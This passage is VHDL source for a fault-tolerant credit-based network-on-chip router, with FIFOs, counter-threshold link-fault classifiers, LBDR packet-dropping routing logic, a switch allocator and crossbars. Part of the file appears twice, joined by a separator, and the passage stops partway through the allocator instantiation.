--link_faults <= sig_Faulty_N_out & sig_Faulty_E_out & sig_Faulty_W_out & sig_Faulty_S_out & faulty_link_L;
link_faults <= faulty_packet_N & faulty_packet_E & faulty_packet_W & faulty_packet_S & faulty_packet_L;
Faulty_N_out <= sig_Faulty_N_out;
Faulty_E_out <= sig_Faulty_E_out;
Faulty_W_out <= sig_Faulty_W_out;
Faulty_S_out <= sig_Faulty_S_out;
-- all the counter_threshold modules
CT_N: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_N, Healthy_packet => healthy_packet_N,
Healthy => healthy_link_N, intermittent=> intermittent_link_N, Faulty => sig_Faulty_N_out);
CT_E: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_E, Healthy_packet => healthy_packet_E,
Healthy => healthy_link_E, intermittent=> intermittent_link_E, Faulty => sig_Faulty_E_out);
CT_W: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_W, Healthy_packet => healthy_packet_W,
Healthy => healthy_link_W, intermittent=> intermittent_link_W, Faulty => sig_Faulty_W_out);
CT_S: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_S, Healthy_packet => healthy_packet_S,
Healthy => healthy_link_S, intermittent=> intermittent_link_S, Faulty => sig_Faulty_S_out);
CT_L: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_L, Healthy_packet => healthy_packet_L,
Healthy => healthy_link_L, intermittent=> intermittent_link_L, Faulty => faulty_link_L);
-- all the FIFOs
FIFO_N: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_N, valid_in => valid_in_N,
read_en_N => packet_drop_order_N, read_en_E =>Grant_EN, read_en_W =>Grant_WN, read_en_S =>Grant_SN, read_en_L =>Grant_LN,
credit_out => credit_out_N, empty_out => empty_N, Data_out => FIFO_D_out_N, fault_info=> faulty_packet_N, health_info=>healthy_packet_N);
FIFO_E: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_E, valid_in => valid_in_E,
read_en_N => Grant_NE, read_en_E =>packet_drop_order_E, read_en_W =>Grant_WE, read_en_S =>Grant_SE, read_en_L =>Grant_LE,
credit_out => credit_out_E, empty_out => empty_E, Data_out => FIFO_D_out_E, fault_info=> faulty_packet_E, health_info=>healthy_packet_E);
FIFO_W: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_W, valid_in => valid_in_W,
read_en_N => Grant_NW, read_en_E =>Grant_EW, read_en_W =>packet_drop_order_W, read_en_S =>Grant_SW, read_en_L =>Grant_LW,
credit_out => credit_out_W, empty_out => empty_W, Data_out => FIFO_D_out_W, fault_info=> faulty_packet_W, health_info=>healthy_packet_W);
FIFO_S: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_S, valid_in => valid_in_S,
read_en_N => Grant_NS, read_en_E =>Grant_ES, read_en_W =>Grant_WS, read_en_S =>packet_drop_order_S, read_en_L =>Grant_LS,
credit_out => credit_out_S, empty_out => empty_S, Data_out => FIFO_D_out_S, fault_info=> faulty_packet_S, health_info=>healthy_packet_S);
FIFO_L: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_L, valid_in => valid_in_L,
read_en_N => Grant_NL, read_en_E =>Grant_EL, read_en_W =>Grant_WL, read_en_S => Grant_SL, read_en_L =>packet_drop_order_L,
credit_out => credit_out_L, empty_out => empty_L, Data_out => FIFO_D_out_L, fault_info=> faulty_packet_L, health_info=>healthy_packet_L);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
--- all the LBDRs
LBDR_N: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_N,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_N(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_N(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_N,
grant_N => '0', grant_E =>Grant_EN, grant_W => Grant_WN, grant_S=>Grant_SN, grant_L =>Grant_LN,
Req_N=> Req_NN, Req_E=>Req_NE, Req_W=>Req_NW, Req_S=>Req_NS, Req_L=>Req_NL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_E: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_E,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_E(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_E(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_E,
grant_N => Grant_NE, grant_E =>'0', grant_W => Grant_WE, grant_S=>Grant_SE, grant_L =>Grant_LE,
Req_N=> Req_EN, Req_E=>Req_EE, Req_W=>Req_EW, Req_S=>Req_ES, Req_L=>Req_EL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_W: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_W,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_W(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_W(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_W,
grant_N => Grant_NW, grant_E =>Grant_EW, grant_W =>'0' ,grant_S=>Grant_SW, grant_L =>Grant_LW,
Req_N=> Req_WN, Req_E=>Req_WE, Req_W=>Req_WW, Req_S=>Req_WS, Req_L=>Req_WL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_S: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_S,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_S(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_S(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_S,
grant_N => Grant_NS, grant_E =>Grant_ES, grant_W =>Grant_WS ,grant_S=>'0', grant_L =>Grant_LS,
Req_N=> Req_SN, Req_E=>Req_SE, Req_W=>Req_SW, Req_S=>Req_SS, Req_L=>Req_SL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_L: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_L,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_L(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_L(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_L,
grant_N => Grant_NL, grant_E =>Grant_EL, grant_W => Grant_WL,grant_S=>Grant_SL, grant_L =>'0',
Req_N=> Req_LN, Req_E=>Req_LE, Req_W=>Req_LW, Req_S=>Req_LS, Req_L=>Req_LL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- switch allocator
allocator_unit: allocator port map ( reset => reset, clk => clk,
-- flow control
credit_in_N => credit_in_N, credit_in_E => credit_in_E, credit_in_W => credit_in_W, credit_in_S => credit_in_S, credit_in_L => credit_in_L,
-- requests from the LBDRS
req_N_N => '0', req_N_E => Req_NE, req_N_W => Req_NW, req_N_S => Req_NS, req_N_L => Req_NL,
req_E_N => Req_EN, req_E_E => '0', req_E_W => Req_EW, req_E_S => Req_ES, req_E_L => Req_EL,
req_W_N => Req_WN, req_W_E => Req_WE, req_W_W => '0', req_W_S => Req_WS, req_W_L => Req_WL,
req_S_N => Req_SN, req_S_E => Req_SE, req_S_W => Req_SW, req_S_S => '0', req_S_L => Req_SL,
req_L_N => Req_LN, req_L_E => Req_LE, req_L_W => Req_LW, req_L_S => Req_LS, req_L_L => '0',
empty_N => empty_N, empty_E => empty_E, empty_w => empty_W, empty_S => empty_S, empty_L => empty_L,
valid_N => valid_out_N, valid_E => valid_out_E, valid_W => valid_out_W, valid_S => valid_out_S, valid_L => valid_out_L,
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
grant_N_N => Grant_NN, grant_N_E => Grant_NE, grant_N_W => Grant_NW, grant_N_S => Grant_NS, grant_N_L => Grant_NL,
grant_E_N => Grant_EN, grant_E_E => Grant_EE, grant_E_W => Grant_EW, grant_E_S => Grant_ES, grant_E_L => Grant_EL,
grant_W_N => Grant_WN, grant_W_E => Grant_WE, grant_W_W => Grant_WW, grant_W_S => Grant_WS, grant_W_L => Grant_WL,
grant_S_N => Grant_SN, grant_S_E => Grant_SE, grant_S_W => Grant_SW, grant_S_S => Grant_SS, grant_S_L => Grant_SL,
grant_L_N => Grant_LN, grant_L_E => Grant_LE, grant_L_W => Grant_LW, grant_L_S => Grant_LS, grant_L_L => Grant_LL
);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbar select_signals
Xbar_sel_N <= '0' & Grant_NE & Grant_NW & Grant_NS & Grant_NL;
Xbar_sel_E <= Grant_EN & '0' & Grant_EW & Grant_ES & Grant_EL;
Xbar_sel_W <= Grant_WN & Grant_WE & '0' & Grant_WS & Grant_WL;
Xbar_sel_S <= Grant_SN & Grant_SE & Grant_SW & '0' & Grant_SL;
Xbar_sel_L <= Grant_LN & Grant_LE & Grant_LW & Grant_LS & '0';
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbars
XBAR_N: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_N, Data_out=> TX_N);
XBAR_E: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_E, Data_out=> TX_E);
XBAR_W: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_W, Data_out=> TX_W);
XBAR_S: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_S, Data_out=> TX_S);
XBAR_L: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_L, Data_out=> TX_L);
end;
|
--Copyright (C) 2016 Siavoosh Payandeh Azad
library ieee;
use ieee.std_logic_1164.all;
--use IEEE.STD_LOGIC_ARITH.ALL;
--use IEEE.STD_LOGIC_UNSIGNED.ALL;
entity router_credit_based_PD_C_SHMU is --fault classifier plus packet-dropping
generic (
DATA_WIDTH: integer := 32;
current_address : integer := 0;
Rxy_rst : integer := 10;
Cx_rst : integer := 10;
healthy_counter_threshold : integer := 8;
faulty_counter_threshold: integer := 2;
counter_depth: integer := 4;
NoC_size: integer := 4
);
port (
reset, clk: in std_logic;
RX_N, RX_E, RX_W, RX_S, RX_L : in std_logic_vector (DATA_WIDTH-1 downto 0);
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
valid_in_N, valid_in_E, valid_in_W, valid_in_S, valid_in_L : in std_logic;
valid_out_N, valid_out_E, valid_out_W, valid_out_S, valid_out_L : out std_logic;
credit_out_N, credit_out_E, credit_out_W, credit_out_S, credit_out_L: out std_logic;
TX_N, TX_E, TX_W, TX_S, TX_L: out std_logic_vector (DATA_WIDTH-1 downto 0);
Faulty_N_in, Faulty_E_in, Faulty_W_in, Faulty_S_in: in std_logic;
Faulty_N_out, Faulty_E_out, Faulty_W_out, Faulty_S_out: out std_logic;
-- should be connected to NI
link_faults: out std_logic_vector(4 downto 0);
turn_faults: out std_logic_vector(7 downto 0);
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end router_credit_based_PD_C_SHMU;
architecture behavior of router_credit_based_PD_C_SHMU is
COMPONENT FIFO_credit_based is
generic (
DATA_WIDTH: integer := 32
);
port ( reset: in std_logic;
clk: in std_logic;
RX: in std_logic_vector(DATA_WIDTH-1 downto 0);
valid_in: in std_logic;
read_en_N : in std_logic;
read_en_E : in std_logic;
read_en_W : in std_logic;
read_en_S : in std_logic;
read_en_L : in std_logic;
credit_out: out std_logic;
empty_out: out std_logic;
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0);
fault_info, health_info: out std_logic
);
end COMPONENT;
COMPONENT counter_threshold_classifier is
generic (
counter_depth: integer := 8;
healthy_counter_threshold: integer := 4;
faulty_counter_threshold: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
faulty_packet, Healthy_packet: in std_logic;
Healthy, intermittent, Faulty: out std_logic
);
end COMPONENT;
COMPONENT allocator is
port ( reset: in std_logic;
clk: in std_logic;
-- flow control
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
req_N_N, req_N_E, req_N_W, req_N_S, req_N_L: in std_logic;
req_E_N, req_E_E, req_E_W, req_E_S, req_E_L: in std_logic;
req_W_N, req_W_E, req_W_W, req_W_S, req_W_L: in std_logic;
req_S_N, req_S_E, req_S_W, req_S_S, req_S_L: in std_logic;
req_L_N, req_L_E, req_L_W, req_L_S, req_L_L: in std_logic;
empty_N, empty_E, empty_W, empty_S, empty_L: in std_logic;
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
valid_N, valid_E, valid_W, valid_S, valid_L : out std_logic;
grant_N_N, grant_N_E, grant_N_W, grant_N_S, grant_N_L: out std_logic;
grant_E_N, grant_E_E, grant_E_W, grant_E_S, grant_E_L: out std_logic;
grant_W_N, grant_W_E, grant_W_W, grant_W_S, grant_W_L: out std_logic;
grant_S_N, grant_S_E, grant_S_W, grant_S_S, grant_S_L: out std_logic;
grant_L_N, grant_L_E, grant_L_W, grant_L_S, grant_L_L: out std_logic
);
end COMPONENT;
COMPONENT LBDR_packet_drop is
generic (
cur_addr_rst: integer := 0;
Rxy_rst: integer := 8;
Cx_rst: integer := 8;
NoC_size: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
Faulty_C_N, Faulty_C_E, Faulty_C_W, Faulty_C_S: in std_logic;
empty: in std_logic;
flit_type: in std_logic_vector(2 downto 0);
dst_addr: in std_logic_vector(NoC_size-1 downto 0);
packet_drop_order: out std_logic;
grant_N, grant_E, grant_W, grant_S, grant_L: in std_logic;
Req_N, Req_E, Req_W, Req_S, Req_L:out std_logic;
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end COMPONENT;
COMPONENT XBAR is
generic (
DATA_WIDTH: integer := 32
);
port (
North_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
East_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
West_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
South_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
Local_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
sel: in std_logic_vector (4 downto 0);
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0)
);
end COMPONENT;
signal FIFO_D_out_N, FIFO_D_out_E, FIFO_D_out_W, FIFO_D_out_S, FIFO_D_out_L: std_logic_vector(DATA_WIDTH-1 downto 0);
-- Grant_XY : Grant signal generated from Arbiter for output X connected to FIFO of input Y
signal Grant_NN, Grant_NE, Grant_NW, Grant_NS, Grant_NL: std_logic;
signal Grant_EN, Grant_EE, Grant_EW, Grant_ES, Grant_EL: std_logic;
signal Grant_WN, Grant_WE, Grant_WW, Grant_WS, Grant_WL: std_logic;
signal Grant_SN, Grant_SE, Grant_SW, Grant_SS, Grant_SL: std_logic;
signal Grant_LN, Grant_LE, Grant_LW, Grant_LS, Grant_LL: std_logic;
signal Req_NN, Req_EN, Req_WN, Req_SN, Req_LN: std_logic;
signal Req_NE, Req_EE, Req_WE, Req_SE, Req_LE: std_logic;
signal Req_NW, Req_EW, Req_WW, Req_SW, Req_LW: std_logic;
signal Req_NS, Req_ES, Req_WS, Req_SS, Req_LS: std_logic;
signal Req_NL, Req_EL, Req_WL, Req_SL, Req_LL: std_logic;
signal empty_N, empty_E, empty_W, empty_S, empty_L: std_logic;
signal Xbar_sel_N, Xbar_sel_E, Xbar_sel_W, Xbar_sel_S, Xbar_sel_L: std_logic_vector(4 downto 0);
signal faulty_packet_N, faulty_packet_E, faulty_packet_W, faulty_packet_S, faulty_packet_L: std_logic;
signal healthy_packet_N, healthy_packet_E, healthy_packet_W, healthy_packet_S, healthy_packet_L: std_logic;
signal packet_drop_order_N, packet_drop_order_E, packet_drop_order_W, packet_drop_order_S, packet_drop_order_L: std_logic;
signal healthy_link_N, healthy_link_E, healthy_link_W, healthy_link_S, healthy_link_L: std_logic;
signal sig_Faulty_N_out, sig_Faulty_E_out, sig_Faulty_W_out, sig_Faulty_S_out, faulty_link_L: std_logic;
signal intermittent_link_N, intermittent_link_E, intermittent_link_W, intermittent_link_S, intermittent_link_L: std_logic;
begin
turn_faults <= "00000000";
--link_faults <= sig_Faulty_N_out & sig_Faulty_E_out & sig_Faulty_W_out & sig_Faulty_S_out & faulty_link_L;
link_faults <= faulty_packet_N & faulty_packet_E & faulty_packet_W & faulty_packet_S & faulty_packet_L;
Faulty_N_out <= sig_Faulty_N_out;
Faulty_E_out <= sig_Faulty_E_out;
Faulty_W_out <= sig_Faulty_W_out;
Faulty_S_out <= sig_Faulty_S_out;
-- all the counter_threshold modules
CT_N: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_N, Healthy_packet => healthy_packet_N,
Healthy => healthy_link_N, intermittent=> intermittent_link_N, Faulty => sig_Faulty_N_out);
CT_E: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_E, Healthy_packet => healthy_packet_E,
Healthy => healthy_link_E, intermittent=> intermittent_link_E, Faulty => sig_Faulty_E_out);
CT_W: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_W, Healthy_packet => healthy_packet_W,
Healthy => healthy_link_W, intermittent=> intermittent_link_W, Faulty => sig_Faulty_W_out);
CT_S: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_S, Healthy_packet => healthy_packet_S,
Healthy => healthy_link_S, intermittent=> intermittent_link_S, Faulty => sig_Faulty_S_out);
CT_L: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_L, Healthy_packet => healthy_packet_L,
Healthy => healthy_link_L, intermittent=> intermittent_link_L, Faulty => faulty_link_L);
-- all the FIFOs
FIFO_N: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_N, valid_in => valid_in_N,
read_en_N => packet_drop_order_N, read_en_E =>Grant_EN, read_en_W =>Grant_WN, read_en_S =>Grant_SN, read_en_L =>Grant_LN,
credit_out => credit_out_N, empty_out => empty_N, Data_out => FIFO_D_out_N, fault_info=> faulty_packet_N, health_info=>healthy_packet_N);
FIFO_E: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_E, valid_in => valid_in_E,
read_en_N => Grant_NE, read_en_E =>packet_drop_order_E, read_en_W =>Grant_WE, read_en_S =>Grant_SE, read_en_L =>Grant_LE,
credit_out => credit_out_E, empty_out => empty_E, Data_out => FIFO_D_out_E, fault_info=> faulty_packet_E, health_info=>healthy_packet_E);
FIFO_W: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_W, valid_in => valid_in_W,
read_en_N => Grant_NW, read_en_E =>Grant_EW, read_en_W =>packet_drop_order_W, read_en_S =>Grant_SW, read_en_L =>Grant_LW,
credit_out => credit_out_W, empty_out => empty_W, Data_out => FIFO_D_out_W, fault_info=> faulty_packet_W, health_info=>healthy_packet_W);
FIFO_S: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_S, valid_in => valid_in_S,
read_en_N => Grant_NS, read_en_E =>Grant_ES, read_en_W =>Grant_WS, read_en_S =>packet_drop_order_S, read_en_L =>Grant_LS,
credit_out => credit_out_S, empty_out => empty_S, Data_out => FIFO_D_out_S, fault_info=> faulty_packet_S, health_info=>healthy_packet_S);
FIFO_L: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_L, valid_in => valid_in_L,
read_en_N => Grant_NL, read_en_E =>Grant_EL, read_en_W =>Grant_WL, read_en_S => Grant_SL, read_en_L =>packet_drop_order_L,
credit_out => credit_out_L, empty_out => empty_L, Data_out => FIFO_D_out_L, fault_info=> faulty_packet_L, health_info=>healthy_packet_L);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
--- all the LBDRs
LBDR_N: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_N,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_N(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_N(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_N,
grant_N => '0', grant_E =>Grant_EN, grant_W => Grant_WN, grant_S=>Grant_SN, grant_L =>Grant_LN,
Req_N=> Req_NN, Req_E=>Req_NE, Req_W=>Req_NW, Req_S=>Req_NS, Req_L=>Req_NL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_E: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_E,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_E(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_E(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_E,
grant_N => Grant_NE, grant_E =>'0', grant_W => Grant_WE, grant_S=>Grant_SE, grant_L =>Grant_LE,
Req_N=> Req_EN, Req_E=>Req_EE, Req_W=>Req_EW, Req_S=>Req_ES, Req_L=>Req_EL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_W: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_W,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_W(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_W(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_W,
grant_N => Grant_NW, grant_E =>Grant_EW, grant_W =>'0' ,grant_S=>Grant_SW, grant_L =>Grant_LW,
Req_N=> Req_WN, Req_E=>Req_WE, Req_W=>Req_WW, Req_S=>Req_WS, Req_L=>Req_WL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_S: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_S,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_S(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_S(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_S,
grant_N => Grant_NS, grant_E =>Grant_ES, grant_W =>Grant_WS ,grant_S=>'0', grant_L =>Grant_LS,
Req_N=> Req_SN, Req_E=>Req_SE, Req_W=>Req_SW, Req_S=>Req_SS, Req_L=>Req_SL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_L: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_L,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_L(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_L(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_L,
grant_N => Grant_NL, grant_E =>Grant_EL, grant_W => Grant_WL,grant_S=>Grant_SL, grant_L =>'0',
Req_N=> Req_LN, Req_E=>Req_LE, Req_W=>Req_LW, Req_S=>Req_LS, Req_L=>Req_LL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- switch allocator
allocator_unit: allocator port map ( reset => reset, clk => clk,
-- flow control
